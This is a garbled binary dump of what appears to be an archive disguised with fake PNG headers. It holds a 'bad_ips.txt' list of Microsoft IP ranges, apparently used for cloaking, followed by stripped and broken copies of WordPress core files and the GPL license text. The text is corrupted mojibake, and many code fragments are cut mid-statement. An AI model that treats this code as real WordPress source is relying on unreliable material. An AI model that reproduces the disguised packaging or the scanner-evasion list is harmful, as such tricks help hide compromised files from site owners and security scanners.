�ɲɾ�����ӯ�����һ��ˣ��������С���˴��ͣ�������P���ҹ��ñ˽��ά�Բ��������˸߸ԣ�������ơ��ҹ��ñ�����ά�Բ���ˡ���˳^�ӣ������ӡ� ���ͯj�ӣ��ƺ���ӣ� ? PNG ?%k25u25%fgd5n!? PNG ?%k25u25%fgd5n!? PNG ?%k25u25%fgd5n!? PNG ?%k25u25%fgd5n!PK@0]Mj55 bad_ips.txtnu[52.250.30.131 52.250.30.* 13.82.212.67 13.82.212.*PK@0]eawp-trackback.phpnu[ '1' ) ); } /** * Response to a trackback. * * Responds with an error or success XML message. * * @since 0.71 * * @param int|bool $error Whether there was an error. * Default '0'. Accepts '0' or '1', true or false. * @param string $error_message Error message if an error occurred. */ function trackback_response( $error = 0, $error_message = '' ) { header( 'Content-Type: text/xml; charset=' . get_option( 'blog_charset' ) ); if ( $error ) { echo '\n"; echo "\n"; echo "1\n"; echo "$error_message\n"; echo ''; die(); } else { echo '\n"; echo "\n"; echo "0\n"; echo ''; } } // Trackback is done by a POST. $request_array = 'HTTP_POST_VARS'; if ( ! isset( $_GET['tb_id'] ) || ! $_GET['tb_id'] ) { $tb_id = explode( '/', $_SERVER['REQUEST_URI'] ); $tb_id = (int) $tb_id[ count( $tb_id ) - 1 ]; } $tb_url = isset( $_POST['url'] ) ? $_POST['url'] : ''; $charset = isset( $_POST['charset'] ) ? $_POST['charset'] : ''; // These three are stripslashed here so they can be properly escaped after mb_convert_encoding(). $title = isset( $_POST['title'] ) ? wp_unslash( $_POST['title'] ) : ''; $excerpt = isset( $_POST['excerpt'] ) ? wp_unslash( $_POST['excerpt'] ) : ''; $blog_name = isset( $_POST['blog_name'] ) ? wp_unslash( $_POST['blog_name'] ) : ''; if ( $charset ) { $charset = str_replace( array( ',', ' ' ), '', strtoupper( trim( $charset ) ) ); } else { $charset = 'ASCII, UTF-8, ISO-8859-1, JIS, EUC-JP, SJIS'; } // No valid uses for UTF-7. if ( false !== strpos( $charset, 'UTF-7' ) ) { die; } // For international trackbacks. if ( function_exists( 'mb_convert_encoding' ) ) { $title = mb_convert_encoding( $title, get_option( 'blog_charset' ), $charset ); $excerpt = mb_convert_encoding( $excerpt, get_option( 'blog_charset' ), $charset ); $blog_name = mb_convert_encoding( $blog_name, get_option( 'blog_charset' ), $charset ); } // Now that mb_convert_encoding() has been given a swing, we need to escape these three. $title = wp_slash( $title ); $excerpt = wp_slash( $excerpt ); $blog_name = wp_slash( $blog_name ); if ( is_single() || is_page() ) { $tb_id = $posts[0]->ID; } if ( ! isset( $tb_id ) || ! (int) $tb_id ) { trackback_response( 1, __( 'I really need an ID for this to work.' ) ); } if ( empty( $title ) && empty( $tb_url ) && empty( $blog_name ) ) { // If it doesn't look like a trackback at all. wp_redirect( get_permalink( $tb_id ) ); exit; } if ( ! empty( $tb_url ) && ! empty( $title ) ) { /** * Fires before the trackback is added to a post. * * @since 4.7.0 * * @param int $tb_id Post ID related to the trackback. * @param string $tb_url Trackback URL. * @param string $charset Character Set. * @param string $title Trackback Title. * @param string $excerpt Trackback Excerpt. * @param string $blog_name Blog Name. */ do_action( 'pre_trackback_post', $tb_id, $tb_url, $charset, $title, $excerpt, $blog_name ); header( 'Content-Type: text/xml; charset=' . get_option( 'blog_charset' ) ); if ( ! pings_open( $tb_id ) ) { trackback_response( 1, __( 'Sorry, trackbacks are closed for this item.' ) ); } $title = wp_html_excerpt( $title, 250, '…' ); $excerpt = wp_html_excerpt( $excerpt, 252, '…' ); $comment_post_ID = (int) $tb_id; $comment_author = $blog_name; $comment_author_email = ''; $comment_author_url = $tb_url; $comment_content = "$title\n\n$excerpt"; $comment_type = 'trackback'; $dupe = $wpdb->get_results( $wpdb->prepare( "SELECT * FROM $wpdb->comments WHERE comment_post_ID = %d AND comment_author_url = %s", $comment_post_ID, $comment_author_url ) ); if ( $dupe ) { trackback_response( 1, __( 'There is already a ping from that URL for this post.' ) ); } $commentdata = compact( 'comment_post_ID', 'comment_author', 'comment_author_email', 'comment_author_url', 'comment_content', 'comment_type' ); $result = wp_new_comment( $commentdata ); if ( is_wp_error( $result ) ) { trackback_response( 1, $result->get_error_message() ); } $trackback_id = $wpdb->insert_id; /** * Fires after a trackback is added to a post. * * @since 1.2.0 * * @param int $trackback_id Trackback ID. */ do_action( 'trackback_post', $trackback_id ); trackback_response( 0 ); } PK@0]T wp-config-sample.phpnu[ Copyright (C) This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA. Also add information on how to contact you by electronic and paper mail. If the program is interactive, make it output a short notice like this when it starts in an interactive mode: Gnomovision version 69, Copyright (C) year name of author Gnomovision comes with ABSOLUTELY NO WARRANTY; for details type `show w'. This is free software, and you are welcome to redistribute it under certain conditions; type `show c' for details. The hypothetical commands `show w' and `show c' should show the appropriate parts of the General Public License. Of course, the commands you use may be called something other than `show w' and `show c'; they could even be mouse-clicks or menu items--whatever suits your program. You should also get your employer (if you work as a programmer) or your school, if any, to sign a "copyright disclaimer" for the program, if necessary. Here is a sample; alter the names: Yoyodyne, Inc., hereby disclaims all copyright interest in the program `Gnomovision' (which makes passes at compilers) written by James Hacker. , 1 April 1989 Ty Coon, President of Vice This General Public License does not permit incorporating your program into proprietary programs. If your program is a subroutine library, you may consider it more useful to permit linking proprietary applications with the library. If this is what you want to do, use the GNU Lesser General Public License instead of this License. WRITTEN OFFER The source code for any program binaries or compressed scripts that are included with WordPress can be freely obtained at the following URL: https://wordpress.org/download/source/ PK@0]4 xmlrpc.phpnu['; ?> WordPress https://wordpress.org/ serve_request(); exit; /** * logIO() - Writes logging info to a file. * * @deprecated 3.4.0 Use error_log() * @see error_log() * * @param string $io Whether input or output * @param string $msg Information describing logging reason. */ function logIO( $io, $msg ) { // phpcs:ignore WordPress.NamingConventions.ValidFunctionName.FunctionNameInvalid _deprecated_function( __FUNCTION__, '3.4.0', 'error_log()' ); if ( ! empty( $GLOBALS['xmlrpc_logging'] ) ) { error_log( $io . ' - ' . $msg ); } } PK@0]3}3} wp-signup.phpnu[is_404 = false; /** * Fires before the Site Sign-up page is loaded. * * @since 4.4.0 */ do_action( 'before_signup_header' ); /** * Prints styles for front-end Multisite Sign-up pages. * * @since MU (3.0.0) */ function wpmu_signup_stylesheet() { ?>
'; } $newblogname = isset( $_GET['new'] ) ? strtolower( preg_replace( '/^-|-$|[^-a-zA-Z0-9]/', '', $_GET['new'] ) ) : null; $current_user = wp_get_current_user(); if ( 'none' === $active_signup ) { _e( 'Registration has been disabled.' ); } elseif ( 'blog' === $active_signup && ! is_user_logged_in() ) { $login_url = wp_login_url( network_site_url( 'wp-signup.php' ) ); /* translators: %s: Login URL. */ printf( __( 'You must first log in, and then you can create a new site.' ), $login_url ); } else { $stage = isset( $_POST['stage'] ) ? $_POST['stage'] : 'default'; switch ( $stage ) { case 'validate-user-signup': if ( 'all' === $active_signup || ( 'blog' === $_POST['signup_for'] && 'blog' === $active_signup ) || ( 'user' === $_POST['signup_for'] && 'user' === $active_signup ) ) { validate_user_signup(); } else { _e( 'User registration has been disabled.' ); } break; case 'validate-blog-signup': if ( 'all' === $active_signup || 'blog' === $active_signup ) { validate_blog_signup(); } else { _e( 'Site registration has been disabled.' ); } break; case 'gimmeanotherblog': validate_another_blog_signup(); break; case 'default': default: $user_email = isset( $_POST['user_email'] ) ? $_POST['user_email'] : ''; /** * Fires when the site sign-up form is sent. * * @since 3.0.0 */ do_action( 'preprocess_signup_form' ); if ( is_user_logged_in() && ( 'all' === $active_signup || 'blog' === $active_signup ) ) { signup_another_blog( $newblogname ); } elseif ( ! is_user_logged_in() && ( 'all' === $active_signup || 'user' === $active_signup ) ) { signup_user( $newblogname, $user_email ); } elseif ( ! is_user_logged_in() && ( 'blog' === $active_signup ) ) { _e( 'Sorry, new registrations are not allowed at this time.' ); } else { _e( 'You are logged in already. No need to register again!' ); } if ( $newblogname ) { $newblog = get_blogaddress_by_name( $newblogname ); if ( 'blog' === $active_signup || 'all' === $active_signup ) { printf( /* translators: %s: Site address. */ '

' . __( 'The site you were looking for, %s, does not exist, but you can create it now!' ) . '

', '' . $newblog . '' ); } else { printf( /* translators: %s: Site address. */ '

' . __( 'The site you were looking for, %s, does not exist.' ) . '

', '' . $newblog . '' ); } } break; } } ?>
get_error_data(); if ( ! empty( $data ) ) { wp_die( '

' . $comment->get_error_message() . '

', __( 'Comment Submission Failure' ), array( 'response' => $data, 'back_link' => true, ) ); } else { exit; } } $user = wp_get_current_user(); $cookies_consent = ( isset( $_POST['wp-comment-cookies-consent'] ) ); /** * Perform other actions when comment cookies are set. * * @since 3.4.0 * @since 4.9.6 The `$cookies_consent` parameter was added. * * @param WP_Comment $comment Comment object. * @param WP_User $user Comment author's user object. The user may not exist. * @param bool $cookies_consent Comment author's consent to store cookies. */ do_action( 'set_comment_cookies', $comment, $user, $cookies_consent ); $location = empty( $_POST['redirect_to'] ) ? get_comment_link( $comment ) : $_POST['redirect_to'] . '#comment-' . $comment->comment_ID; // If user didn't consent to cookies, add specific query arguments to display the awaiting moderation message. if ( ! $cookies_consent && 'unapproved' === wp_get_comment_status( $comment ) && ! empty( $comment->comment_author_email ) ) { $location = add_query_arg( array( 'unapproved' => $comment->comment_ID, 'moderation-hash' => wp_hash( $comment->comment_date_gmt ), ), $location ); } /** * Filters the location URI to send the commenter after posting. * * @since 2.0.5 * * @param string $location The 'redirect_to' URI sent via $_POST. * @param WP_Comment $comment Comment object. */ $location = apply_filters( 'comment_post_redirect', $location, $comment ); wp_safe_redirect( $location ); exit; PK@0]b index.phpnu[\n"; ?> <?php /* translators: %s: Site title. */ printf( __( 'Links for %s' ), esc_attr( get_bloginfo( 'name', 'display' ) ) ); ?> GMT 'link_category', 'hierarchical' => 0, ) ); } else { $cats = get_categories( array( 'taxonomy' => 'link_category', 'hierarchical' => 0, 'include' => $link_cat, ) ); } foreach ( (array) $cats as $cat ) : /** This filter is documented in wp-includes/bookmark-template.php */ $catname = apply_filters( 'link_category', $cat->name ); ?> $cat->term_id ) ); foreach ( (array) $bookmarks as $bookmark ) : /** * Filters the OPML outline link title text. * * @since 2.2.0 * * @param string $title The OPML outline title text. */ $title = apply_filters( 'link_title', $bookmark->link_name ); ?> PK@0]i^!! wp-mail.phpnu[ Writing * * @package WordPress */ /** Make sure that the WordPress bootstrap has run before continuing. */ require __DIR__ . '/wp-load.php'; /** This filter is documented in wp-admin/options.php */ if ( ! apply_filters( 'enable_post_by_email_configuration', true ) ) { wp_die( __( 'This action has been disabled by the administrator.' ), 403 ); } $mailserver_url = get_option( 'mailserver_url' ); if ( 'mail.example.com' === $mailserver_url || empty( $mailserver_url ) ) { wp_die( __( 'This action has been disabled by the administrator.' ), 403 ); } /** * Fires to allow a plugin to do a complete takeover of Post by Email. * * @since 2.9.0 */ do_action( 'wp-mail.php' ); // phpcs:ignore WordPress.NamingConventions.ValidHookName.UseUnderscores /** Get the POP3 class with which to access the mailbox. */ require_once ABSPATH . WPINC . '/class-pop3.php'; /** Only check at this interval for new messages. */ if ( ! defined( 'WP_MAIL_INTERVAL' ) ) { define( 'WP_MAIL_INTERVAL', 5 * MINUTE_IN_SECONDS ); } $last_checked = get_transient( 'mailserver_last_checked' ); if ( $last_checked ) { wp_die( __( 'Slow down cowboy, no need to check for new mails so often!' ) ); } set_transient( 'mailserver_last_checked', true, WP_MAIL_INTERVAL ); $time_difference = get_option( 'gmt_offset' ) * HOUR_IN_SECONDS; $phone_delim = '::'; $pop3 = new POP3(); if ( ! $pop3->connect( get_option( 'mailserver_url' ), get_option( 'mailserver_port' ) ) || ! $pop3->user( get_option( 'mailserver_login' ) ) ) { wp_die( esc_html( $pop3->ERROR ) ); } $count = $pop3->pass( get_option( 'mailserver_pass' ) ); if ( false === $count ) { wp_die( esc_html( $pop3->ERROR ) ); } if ( 0 === $count ) { $pop3->quit(); wp_die( __( 'There does not seem to be any new mail.' ) ); } for ( $i = 1; $i <= $count; $i++ ) { $message = $pop3->get( $i ); $bodysignal = false; $boundary = ''; $charset = ''; $content = ''; $content_type = ''; $content_transfer_encoding = ''; $post_author = 1; $author_found = false; $post_date = null; $post_date_gmt = null; foreach ( $message as $line ) { // Body signal. if ( strlen( $line ) < 3 ) { $bodysignal = true; } if ( $bodysignal ) { $content .= $line; } else { if ( preg_match( '/Content-Type: /i', $line ) ) { $content_type = trim( $line ); $content_type = substr( $content_type, 14, strlen( $content_type ) - 14 ); $content_type = explode( ';', $content_type ); if ( ! empty( $content_type[1] ) ) { $charset = explode( '=', $content_type[1] ); $charset = ( ! empty( $charset[1] ) ) ? trim( $charset[1] ) : ''; } $content_type = $content_type[0]; } if ( preg_match( '/Content-Transfer-Encoding: /i', $line ) ) { $content_transfer_encoding = trim( $line ); $content_transfer_encoding = substr( $content_transfer_encoding, 27, strlen( $content_transfer_encoding ) - 27 ); $content_transfer_encoding = explode( ';', $content_transfer_encoding ); $content_transfer_encoding = $content_transfer_encoding[0]; } if ( ( 'multipart/alternative' === $content_type ) && ( false !== strpos( $line, 'boundary="' ) ) && ( '' === $boundary ) ) { $boundary = trim( $line ); $boundary = explode( '"', $boundary ); $boundary = $boundary[1]; } if ( preg_match( '/Subject: /i', $line ) ) { $subject = trim( $line ); $subject = substr( $subject, 9, strlen( $subject ) - 9 ); // Captures any text in the subject before $phone_delim as the subject. if ( function_exists( 'iconv_mime_decode' ) ) { $subject = iconv_mime_decode( $subject, 2, get_option( 'blog_charset' ) ); } else { $subject = wp_iso_descrambler( $subject ); } $subject = explode( $phone_delim, $subject ); $subject = $subject[0]; } /* * Set the author using the email address (From or Reply-To, the last used) * otherwise use the site admin. */ if ( ! $author_found && preg_match( '/^(From|Reply-To): /', $line ) ) { if ( preg_match( '|[a-z0-9_.-]+@[a-z0-9_.-]+(?!.*<)|i', $line, $matches ) ) { $author = $matches[0]; } else { $author = trim( $line ); } $author = sanitize_email( $author ); if ( is_email( $author ) ) { /* translators: %s: Post author email address. */ echo '

' . sprintf( __( 'Author is %s' ), $author ) . '

'; $userdata = get_user_by( 'email', $author ); if ( ! empty( $userdata ) ) { $post_author = $userdata->ID; $author_found = true; } } } if ( preg_match( '/Date: /i', $line ) ) { // Of the form '20 Mar 2002 20:32:37 +0100'. $ddate = str_replace( 'Date: ', '', trim( $line ) ); // Remove parenthesised timezone string if it exists, as this confuses strtotime(). $ddate = preg_replace( '!\s*\(.+\)\s*$!', '', $ddate ); $ddate_timestamp = strtotime( $ddate ); $post_date = gmdate( 'Y-m-d H:i:s', $ddate_timestamp + $time_difference ); $post_date_gmt = gmdate( 'Y-m-d H:i:s', $ddate_timestamp ); } } } // Set $post_status based on $author_found and on author's publish_posts capability. if ( $author_found ) { $user = new WP_User( $post_author ); $post_status = ( $user->has_cap( 'publish_posts' ) ) ? 'publish' : 'pending'; } else { // Author not found in DB, set status to pending. Author already set to admin. $post_status = 'pending'; } $subject = trim( $subject ); if ( 'multipart/alternative' === $content_type ) { $content = explode( '--' . $boundary, $content ); $content = $content[2]; // Match case-insensitive content-transfer-encoding. if ( preg_match( '/Content-Transfer-Encoding: quoted-printable/i', $content, $delim ) ) { $content = explode( $delim[0], $content ); $content = $content[1]; } $content = strip_tags( $content, '


' ); } $content = trim( $content ); /** * Filters the original content of the email. * * Give Post-By-Email extending plugins full access to the content, either * the raw content, or the content of the last quoted-printable section. * * @since 2.8.0 * * @param string $content The original email content. */ $content = apply_filters( 'wp_mail_original_content', $content ); if ( false !== stripos( $content_transfer_encoding, 'quoted-printable' ) ) { $content = quoted_printable_decode( $content ); } if ( function_exists( 'iconv' ) && ! empty( $charset ) ) { $content = iconv( $charset, get_option( 'blog_charset' ), $content ); } // Captures any text in the body after $phone_delim as the body. $content = explode( $phone_delim, $content ); $content = empty( $content[1] ) ? $content[0] : $content[1]; $content = trim( $content ); /** * Filters the content of the post submitted by email before saving. * * @since 1.2.0 * * @param string $content The email content. */ $post_content = apply_filters( 'phone_content', $content ); $post_title = xmlrpc_getposttitle( $content ); if ( '' === trim( $post_title ) ) { $post_title = $subject; } $post_category = array( get_option( 'default_email_category' ) ); $post_data = compact( 'post_content', 'post_title', 'post_date', 'post_date_gmt', 'post_author', 'post_category', 'post_status' ); $post_data = wp_slash( $post_data ); $post_ID = wp_insert_post( $post_data ); if ( is_wp_error( $post_ID ) ) { echo "\n" . $post_ID->get_error_message(); } // We couldn't post, for whatever reason. Better move forward to the next email. if ( empty( $post_ID ) ) { continue; } /** * Fires after a post submitted by email is published. * * @since 1.2.0 * * @param int $post_ID The post ID. */ do_action( 'publish_phone', $post_ID ); echo "\n

" . __( 'Author:' ) . ' ' . esc_html( $post_author ) . '

'; echo "\n

" . __( 'Posted title:' ) . ' ' . esc_html( $post_title ) . '

'; if ( ! $pop3->delete( $i ) ) { echo '

' . sprintf( /* translators: %s: POP3 error. */ __( 'Oops: %s' ), esc_html( $pop3->ERROR ) ) . '

'; $pop3->reset(); exit; } else { echo '

' . sprintf( /* translators: %s: The message ID. */ __( 'Mission complete. Message %s deleted.' ), '' . $i . '' ) . '

'; } } $pop3->quit(); PK@0]m wp-load.phpnu[' . sprintf( /* translators: %s: wp-config.php */ __( "There doesn't seem to be a %s file. I need this before we can get started." ), 'wp-config.php' ) . '

'; $die .= '

' . sprintf( /* translators: 1: Documentation URL, 2: wp-config.php */ __( 'Need more help? Read the support article on %2$s.' ), __( 'https://wordpress.org/support/article/editing-wp-config-php/' ), 'wp-config.php' ) . '

'; $die .= '

' . sprintf( /* translators: %s: wp-config.php */ __( "You can create a %s file through a web interface, but this doesn't work for all server setups. The safest way is to manually create the file." ), 'wp-config.php' ) . '

'; $die .= '

' . __( 'Create a Configuration File' ) . '

'; wp_die( $die, __( 'WordPress › Error' ) ); } PK@0]UMgg wp-cron.phpnu[=' ) ) { if ( ! headers_sent() ) { header( 'Expires: Wed, 11 Jan 1984 05:00:00 GMT' ); header( 'Cache-Control: no-cache, must-revalidate, max-age=0' ); } fastcgi_finish_request(); } if ( ! empty( $_POST ) || defined( 'DOING_AJAX' ) || defined( 'DOING_CRON' ) ) { die(); } /** * Tell WordPress we are doing the cron task. * * @var bool */ define( 'DOING_CRON', true ); if ( ! defined( 'ABSPATH' ) ) { /** Set up WordPress environment */ require_once __DIR__ . '/wp-load.php'; } /** * Retrieves the cron lock. * * Returns the uncached `doing_cron` transient. * * @ignore * @since 3.3.0 * * @global wpdb $wpdb WordPress database abstraction object. * * @return string|int|false Value of the `doing_cron` transient, 0|false otherwise. */ function _get_cron_lock() { global $wpdb; $value = 0; if ( wp_using_ext_object_cache() ) { /* * Skip local cache and force re-fetch of doing_cron transient * in case another process updated the cache. */ $value = wp_cache_get( 'doing_cron', 'transient', true ); } else { $row = $wpdb->get_row( $wpdb->prepare( "SELECT option_value FROM $wpdb->options WHERE option_name = %s LIMIT 1", '_transient_doing_cron' ) ); if ( is_object( $row ) ) { $value = $row->option_value; } } return $value; } $crons = wp_get_ready_cron_jobs(); if ( empty( $crons ) ) { die(); } $gmt_time = microtime( true ); // The cron lock: a unix timestamp from when the cron was spawned. $doing_cron_transient = get_transient( 'doing_cron' ); // Use global $doing_wp_cron lock, otherwise use the GET lock. If no lock, try to grab a new lock. if ( empty( $doing_wp_cron ) ) { if ( empty( $_GET['doing_wp_cron'] ) ) { // Called from external script/job. Try setting a lock. if ( $doing_cron_transient && ( $doing_cron_transient + WP_CRON_LOCK_TIMEOUT > $gmt_time ) ) { return; } $doing_wp_cron = sprintf( '%.22F', microtime( true ) ); $doing_cron_transient = $doing_wp_cron; set_transient( 'doing_cron', $doing_wp_cron ); } else { $doing_wp_cron = $_GET['doing_wp_cron']; } } /* * The cron lock (a unix timestamp set when the cron was spawned), * must match $doing_wp_cron (the "key"). */ if ( $doing_cron_transient !== $doing_wp_cron ) { return; } foreach ( $crons as $timestamp => $cronhooks ) { if ( $timestamp > $gmt_time ) { break; } foreach ( $cronhooks as $hook => $keys ) { foreach ( $keys as $k => $v ) { $schedule = $v['schedule']; if ( $schedule ) { wp_reschedule_event( $timestamp, $schedule, $hook, $v['args'] ); } wp_unschedule_event( $timestamp, $hook, $v['args'] ); /** * Fires scheduled events. * * @ignore * @since 2.1.0 * * @param string $hook Name of the hook that was scheduled to be fired. * @param array $args The arguments to be passed to the hook. */ do_action_ref_array( $hook, $v['args'] ); // If the hook ran too long and another cron process stole the lock, quit. if ( _get_cron_lock() !== $doing_wp_cron ) { return; } } } } if ( _get_cron_lock() === $doing_wp_cron ) { delete_transient( 'doing_cron' ); } die(); PK@0]2admin/.htaccessnu[ PK@0]5'kU readme.htmlnu[ WordPress › ReadMe

WordPress

Semantic Personal Publishing Platform

First Things First

Welcome. WordPress is a very special project to me. Every developer and contributor adds something unique to the mix, and together we create something beautiful that I am proud to be a part of. Thousands of hours have gone into WordPress, and we are dedicated to making it better every day. Thank you for making it part of your world.

— Matt Mullenweg

Installation: Famous 5-minute install

  1. Unzip the package in an empty directory and upload everything.
  2. Open wp-admin/install.php in your browser. It will take you through the process to set up a wp-config.php file with your database connection details.
    1. If for some reason this does not work, do not worry. It may not work on all web hosts. Open up wp-config-sample.php with a text editor like WordPad or similar and fill in your database connection details.
    2. Save the file as wp-config.php and upload it.
    3. Open wp-admin/install.php in your browser.
  3. Once the configuration file is set up, the installer will set up the tables needed for your site. If there is an error, double check your wp-config.php file, and try again. If it fails again, please go to the WordPress support forums with as much data as you can gather.
  4. If you did not enter a password, note the password given to you. If you did not provide a username, it will be admin.
  5. The installer should then send you to the login page. Sign in with the username and password you chose during the installation. If a password was generated for you, you can then click on “Profile” to change the password.

Updating

Using the Automatic Updater

  1. Open wp-admin/update-core.php in your browser and follow the instructions.
  2. You wanted more, perhaps? That’s it!

Updating Manually

  1. Before you update anything, make sure you have backup copies of any files you may have modified such as index.php.
  2. Delete your old WordPress files, saving ones you’ve modified.
  3. Upload the new files.
  4. Point your browser to /wp-admin/upgrade.php.

Migrating from other systems

WordPress can import from a number of systems. First you need to get WordPress installed and working as described above, before using our import tools.

System Requirements

  • PHP version 5.6.20 or greater.
  • MySQL version 5.0 or greater.

Recommendations

Online Resources

If you have any questions that are not addressed in this document, please take advantage of WordPress’ numerous online resources:

The WordPress Codex
The Codex is the encyclopedia of all things WordPress. It is the most comprehensive source of information for WordPress available.
The WordPress Blog
This is where you’ll find the latest updates and news related to WordPress. Recent WordPress news appears in your administrative dashboard by default.
WordPress Planet
The WordPress Planet is a news aggregator that brings together posts from WordPress blogs around the web.
WordPress Support Forums
If you’ve looked everywhere and still cannot find an answer, the support forums are very active and have a large community ready to help. To help them help you be sure to use a descriptive thread title and describe your question in as much detail as possible.
WordPress IRC (Internet Relay Chat) Channel
There is an online chat channel that is used for discussion among people who use WordPress and occasionally support topics. The above wiki page should point you in the right direction. (irc.libera.chat #wordpress)

Final Notes

  • If you have any suggestions, ideas, or comments, or if you (gasp!) found a bug, join us in the Support Forums.
  • WordPress has a robust plugin API (Application Programming Interface) that makes extending the code easy. If you are a developer interested in utilizing this, see the Plugin Developer Handbook. You shouldn’t modify any of the core code.

Share the Love

WordPress has no multi-million dollar marketing campaign or celebrity sponsors, but we do have something even better—you. If you enjoy WordPress please consider telling a friend, setting it up for someone less knowledgeable than yourself, or writing the author of a media article that overlooks us.

WordPress is the official continuation of b2/cafélog, which came from Michel V. The work has been continued by the WordPress developers. If you would like to support WordPress, please consider donating.

License

WordPress is free software, and is released under the terms of the GPL (GNU General Public License) version 2 or (at your option) any later version. See license.txt.

PK@0]5wp-admin/options-head.phpnu[ true ) ), true ) ) { $post_type = $_GET['post_type']; } else { wp_die( __( 'Invalid post type.' ) ); } $post_type_object = get_post_type_object( $post_type ); if ( 'post' === $post_type ) { $parent_file = 'edit.php'; $submenu_file = 'post-new.php'; } elseif ( 'attachment' === $post_type ) { if ( wp_redirect( admin_url( 'media-new.php' ) ) ) { exit; } } else { $submenu_file = "post-new.php?post_type=$post_type"; if ( isset( $post_type_object ) && $post_type_object->show_in_menu && true !== $post_type_object->show_in_menu ) { $parent_file = $post_type_object->show_in_menu; // What if there isn't a post-new.php item for this post type? if ( ! isset( $_registered_pages[ get_plugin_page_hookname( "post-new.php?post_type=$post_type", $post_type_object->show_in_menu ) ] ) ) { if ( isset( $_registered_pages[ get_plugin_page_hookname( "edit.php?post_type=$post_type", $post_type_object->show_in_menu ) ] ) ) { // Fall back to edit.php for that post type, if it exists. $submenu_file = "edit.php?post_type=$post_type"; } else { // Otherwise, give up and highlight the parent. $submenu_file = $parent_file; } } } else { $parent_file = "edit.php?post_type=$post_type"; } } $title = $post_type_object->labels->add_new_item; $editing = true; if ( ! current_user_can( $post_type_object->cap->edit_posts ) || ! current_user_can( $post_type_object->cap->create_posts ) ) { wp_die( '

' . __( 'You need a higher level of permission.' ) . '

' . '

' . __( 'Sorry, you are not allowed to create posts as this user.' ) . '

', 403 ); } $post = get_default_post_to_edit( $post_type, true ); $post_ID = $post->ID; /** This filter is documented in wp-admin/post.php */ if ( apply_filters( 'replace_editor', false, $post ) !== true ) { if ( use_block_editor_for_post( $post ) ) { require ABSPATH . 'wp-admin/edit-form-blocks.php'; } else { wp_enqueue_script( 'autosave' ); require ABSPATH . 'wp-admin/edit-form-advanced.php'; } } else { // Flag that we're not loading the block editor. $current_screen = get_current_screen(); $current_screen->is_block_editor( false ); } require_once ABSPATH . 'wp-admin/admin-footer.php'; PK@0]e B Bwp-admin/install.phpnu[ Error: PHP is not running

Error: PHP is not running

WordPress requires that your web server is running PHP. Your server does not have PHP installed, or PHP is turned off.

> <?php _e( 'WordPress › Installation' ); ?> get_var( $wpdb->prepare( 'SHOW TABLES LIKE %s', $wpdb->esc_like( $wpdb->users ) ) ) !== null ); // Ensure that sites appear in search engines by default. $blog_public = 1; if ( isset( $_POST['weblog_title'] ) ) { $blog_public = isset( $_POST['blog_public'] ); } $weblog_title = isset( $_POST['weblog_title'] ) ? trim( wp_unslash( $_POST['weblog_title'] ) ) : ''; $user_name = isset( $_POST['user_name'] ) ? trim( wp_unslash( $_POST['user_name'] ) ) : ''; $admin_email = isset( $_POST['admin_email'] ) ? trim( wp_unslash( $_POST['admin_email'] ) ) : ''; if ( ! is_null( $error ) ) { ?>

'submit' ) ); ?>

' . __( 'Already Installed' ) . '' . '

' . __( 'You appear to have already installed WordPress. To reinstall please clear your old database tables first.' ) . '

' . '

' . __( 'Log In' ) . '

' . '' ); } /** * @global string $wp_version The WordPress version string. * @global string $required_php_version The required PHP version string. * @global string $required_mysql_version The required MySQL version string. */ global $wp_version, $required_php_version, $required_mysql_version; $php_version = phpversion(); $mysql_version = $wpdb->db_version(); $php_compat = version_compare( $php_version, $required_php_version, '>=' ); $mysql_compat = version_compare( $mysql_version, $required_mysql_version, '>=' ) || file_exists( WP_CONTENT_DIR . '/db.php' ); $version_url = sprintf( /* translators: %s: WordPress version. */ esc_url( __( 'https://wordpress.org/support/wordpress-version/version-%s/' ) ), sanitize_title( $wp_version ) ); $php_update_message = '

' . sprintf( /* translators: %s: URL to Update PHP page. */ __( 'Learn more about updating PHP.' ), esc_url( wp_get_update_php_url() ) ); $annotation = wp_get_update_php_annotation(); if ( $annotation ) { $php_update_message .= '

' . $annotation . ''; } if ( ! $mysql_compat && ! $php_compat ) { $compat = sprintf( /* translators: 1: URL to WordPress release notes, 2: WordPress version number, 3: Minimum required PHP version number, 4: Minimum required MySQL version number, 5: Current PHP version number, 6: Current MySQL version number. */ __( 'You cannot install because WordPress %2$s requires PHP version %3$s or higher and MySQL version %4$s or higher. You are running PHP version %5$s and MySQL version %6$s.' ), $version_url, $wp_version, $required_php_version, $required_mysql_version, $php_version, $mysql_version ) . $php_update_message; } elseif ( ! $php_compat ) { $compat = sprintf( /* translators: 1: URL to WordPress release notes, 2: WordPress version number, 3: Minimum required PHP version number, 4: Current PHP version number. */ __( 'You cannot install because WordPress %2$s requires PHP version %3$s or higher. You are running version %4$s.' ), $version_url, $wp_version, $required_php_version, $php_version ) . $php_update_message; } elseif ( ! $mysql_compat ) { $compat = sprintf( /* translators: 1: URL to WordPress release notes, 2: WordPress version number, 3: Minimum required MySQL version number, 4: Current MySQL version number. */ __( 'You cannot install because WordPress %2$s requires MySQL version %3$s or higher. You are running version %4$s.' ), $version_url, $wp_version, $required_mysql_version, $mysql_version ); } if ( ! $mysql_compat || ! $php_compat ) { display_header(); die( '

' . __( 'Requirements Not Met' ) . '

' . $compat . '

' ); } if ( ! is_string( $wpdb->base_prefix ) || '' === $wpdb->base_prefix ) { display_header(); die( '

' . __( 'Configuration Error' ) . '

' . '

' . sprintf( /* translators: %s: wp-config.php */ __( 'Your %s file has an empty database table prefix, which is not supported.' ), 'wp-config.php' ) . '

' ); } // Set error message if DO_NOT_UPGRADE_GLOBAL_TABLES isn't set as it will break install. if ( defined( 'DO_NOT_UPGRADE_GLOBAL_TABLES' ) ) { display_header(); die( '

' . __( 'Configuration Error' ) . '

' . '

' . sprintf( /* translators: %s: DO_NOT_UPGRADE_GLOBAL_TABLES */ __( 'The constant %s cannot be defined when installing WordPress.' ), 'DO_NOT_UPGRADE_GLOBAL_TABLES' ) . '

